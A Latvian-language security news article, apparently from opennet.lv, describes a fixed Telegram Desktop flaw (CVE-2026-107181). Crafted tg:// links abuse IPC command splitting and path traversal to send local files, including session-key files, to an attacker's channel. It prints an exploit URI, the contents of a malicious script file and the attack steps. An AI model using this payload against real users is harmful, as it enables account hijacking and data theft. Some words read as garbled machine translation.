Vulnerabilitāte Telegram Desktop, kas ļauj nosūtīt patvaļīgus failus, noklikšķinot uz saites

Atklāti sīki izklāstīti un apspriesti ekspluatācijas paņēmieni, kas saistīti ar ievainojamību (CVE-2026-107181) Telegram Desktop, oficiālajā Telegram klientā darbvirsmas sistēmām. Problēma radusies, jo netika pienācīgi apstrādāti neizsijāti atdalītāji IPC komandās, kas ļāva, noklikšķinot uz nosūtītās saites, uzbrucējam organizēt jebkuru failu nosūtīšanu no upura sistēmas, ieskaitot sesijas atslēgu failus, kurus var izmantot, lai sagcapturetu Telegram kontu. Ievainojamība novērsta Telegram Desktop 7.2.9 izlaidumā.

Noklikšķinot uz 'tg://' saitēm, operētājsistēma palaiž saistīto Telegram Desktop lietotni. Ja sistēmā jau darbojas cita šīs lietotnes instance, tad darbojošais process pārsūta saiti tai caur socket, izmantojot IPC saskarni. Problēma ir tā, ka, ja sāknēsi simbolu ';' saites parametru vidū (piemēram, 'tg://x?a=1;OPEN…'), saturs tiek sadalīts, un daļas, kas seko simbolam ';', tiek apstrādātas kā atsevišķas komandas.

Uzbrukumā tiek izmantota komanda OPEN kopā ar URI shēmu 'interpret:', kas paredzēta skriptu palaišanai caur IPC, kas tika izmantoti automātiskai jauno izlaidumu nosūtīšanai kanāliem. Skripts ir iepriekš definēts lokālais fails, kurā norādīts, kurš fails jānosūta kanālam un kanāla identifikators. Fails ceļš uz skriptiem tiek apstrādāts attiecībā uz sistēmas apakšmapēm, taču, ņemot vērā tīrīšanas trūkumu ceļu '.../', uzbrucējs var piekļūt failiem, kas saglabāti ārpus pamata katalogiem. Piemēram, tu vari augšupielādēt failu savā telegram grupā, pēc tam atsaukt to kā skriptu, sagatavojot saiti šāda veida:

tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt

Uzbrukuma posmi:

• Uzbrucējs pievieno upuri savai grupai (pēc noklusējuma iestatījumiem pievienošana neprasa apstiprinājumu no pievienotā), un nosūta šajā grupā teksta failu, kurā norādīts kanāls un ceļš uz skriptu. Telegram saglabās šo failu iepriekš definētā sistēmas apakšmapē, kad upuris ieiet grupā.

  channel: 2005234537
  file: tdata/D877F783D5D3EF8Cs

• Uzbrucējs nosūtīs upurim nevainīgu izskata saiti uz savu hostu (piemēram, 'https://coolsite.org'), kas, atverot, tiks pāradresēta uz serveri uzbrucēju, kas aizvieto ar URI veidu 'tg://x?a=1;OPEN:interpret:…;OPEN:interpret:….'
• Noklikšķinot uz saites, pārlūkprogramma izsauc URI apstrādātāju «tg://», uzsākot iepriekš minēto komandu izsniegšanas ķēdi, kas noved pie failu nosūtīšanas uz uzbrucēja kanālu, neizsniedzot nekādus paziņojumus un nepārbaudot nosūtīšanas apstiprinājumu.
• Saņemot failus no apakšdirektorija tdata ar šifrēšanas un autorizācijas atslēgām, ja lietotājs nav iestatījis vietējā paroli, uzbrucējs var noklonēt upura savienojuma sesiju savā ierīcē.

Avots: opennet.lv